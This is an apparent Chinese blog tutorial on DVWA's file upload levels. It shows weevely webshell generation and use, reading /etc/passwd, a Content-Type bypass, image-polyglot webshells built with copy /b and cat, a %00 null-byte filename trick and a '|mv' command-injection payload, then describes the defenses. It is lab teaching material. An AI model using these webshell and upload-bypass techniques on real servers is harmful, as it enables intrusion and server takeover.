DVWA 黑客攻防实战(五)文件上传漏洞 File Upload

说起文件上传漏洞 ,可谓是印象深刻。有次公司的网站突然访问不到了,同事去服务器看了一下。所有 webroot 文件夹下的所有文件都被重命名成其他文件,比如 jsp 文件变成 jsp.s ,以致于路径映射不到 jsp 文件,同事怀疑是攻击者上传了个 webshell 文件然后进行批量重命名了。 把后台的代码都找了一遍,后台代码也都有验证文件扩展名的,后面是发现一张普通的照片其实是代码来的,但也不知道为何能够执行。但看完这篇文章你就会明白了。 下面用 dvwa 来演示如何攻击和防御。 低级 用户界面是这样的,是一个简单的上传文件功能。 然而 Hacker 就上传一个 phpinfo.php 文件 。。。结果如下 然后打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,又看到熟悉的界面了。 Hacker 想用 webshell 的方式尝试一下。于是就用 Kali Linux 预装的 weevely 工具生成一个 webshell 文件,这里的 123456 是密码,这个 webshell 要用密码登录的。 weevely generate 123456 /root/webshell.php Generated backdoor with password '123456' in '/root/webshell.php' of 1479 byte size. 上传完文件后,登录 weevely http://192.168.31.166:5678/hackable/uploads/webshell.php 123456 weevely> ls dvwa_email.png webshell.php www-data@56e69b5b67b6:/var/www/html/hackable/uploads $ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 就变成你的地盘我做主了。 再来看看低级代码。 Your image was not uploaded.'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } ?> 为何会变成这样的呢?觉得主要是没有限制文件扩展名吧。 中级 而中级代码,多了文件类型和文件大小的限制 Your image was not uploaded.'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } ?> 这里代码看上去好像类型都判断了,应该是不能上传 php 代码了吧。 然而 Hacker 打开火狐浏览器的调试器(谷歌浏览器没有修改功能,用 brup suite 之类的抓包也可以的),找到对应请求后右键选择-> edit and resend 然后将头部的 content-type 改掉,再重发请求 结果如下 打开链接 http://192.168.31.166:5678/hackable/uploads/phpinfo.php ,依然能看到熟悉的界面。 高级 中级的代码有漏洞的原因是用 content-type 去判断文件类型了,如果用扩展名去判断还有问题吗?高级代码就是这样想的,代码如下 Your image was not uploaded.'; } else { // Yes! echo "
{$target_path} succesfully uploaded!
"; } } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } ?> 我尝试过将 phpinfo.php 改成 phpinfo.php.png ,然而不成功,因为调用了 getimagesize 这个函数,如果不是图片文件就会返回 false。 但是如果这图片既是图片又是代码呢? 有人能想到了吗? 11年左右百度贴吧风靡一时图种。 比如这是大家老婆的图片 保存下来,将扩展名改成 zip ,再解压(用命令行 unzip)。。。就有福利。 为什么可以这样 因为比如文件有特定的 jpg 标识,如果用看图程序打开,只会去看有图片标识的那部分,如果用 zip 压缩文件打开,也只会看有 zip 标识的那部分,其他部分会忽略的。 所以它既是图片也是种子。因此。我们可以制作类似图种的东西去注入 webshell。 windows copy /b D:\gakki.jpg + D:\webshell.php D:\gakki.jpg linux/unix cat webshell.php >> gakki.jpg 所以我们可以制作一个 “图php" cat phpinfo.php >> gakki.jpg 只是上传后,重命名是个问题。 php 5.4 之下还容易解决,因为那个版本就有个漏洞上传gakki.php%00.jpg这种文件会当成gakki.php来执行的,因为 c语言等语言是用 \0 判断字符符结束的,所以该会被服务器当成 gakki.php 执行。 在 File Upload 页面没法重名了。。。找不到其他方法。唯有借助同一级别下的漏洞比如是命令行注入漏洞 然后输入在 |mv ../../gakki.jpg ../../gakki.php ,再访问文件,结果如下 不可能 不可能级别的代码有添加了这些 使用 imagecreatefromjpeg 或 imagecreatefrompng 去掉了不属于图片的部分 为文件重命名成 随机字符串。因为如何上传的文件是 phpshell.php.rar ,Apache 不认识 rar 格式就会向前解析,文件就解析成 phpshell.php 了。 用 anti-token 解决一些 CSRF 问题 代码如下: ${target_file} succesfully uploaded!"; } else { // No echo '
Your image was not uploaded.
'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '
Your image was not uploaded. We can only accept JPEG or PNG images.
'; } } // Generate Anti-CSRF token generateSessionToken(); ?> 也有其他手段防御文件上传漏洞(《白帽子讲web安全》): 设置文件目录不可以执行 给文件服务器设置单独的域名,因为不同源的原因,请求会被浏览器拦截 如果您觉得阅读本文对您有帮助,请点一下“推荐”按钮,您的“推荐”将是我最大的写作动力!欢迎各位转载,但是未经作者本人同意,转载文章之后必须在文章页面明显位置给出作者和原文连接,否则保留追究法律责任的权利。https://www.cnblogs.com/jojo-feed/p/10173026.html
50000+
5万行代码练就真实本领
17年
创办于2008年老牌培训机构
1000+
合作企业
98%
就业率

联系我们

电话咨询

0532-85025005

扫码添加微信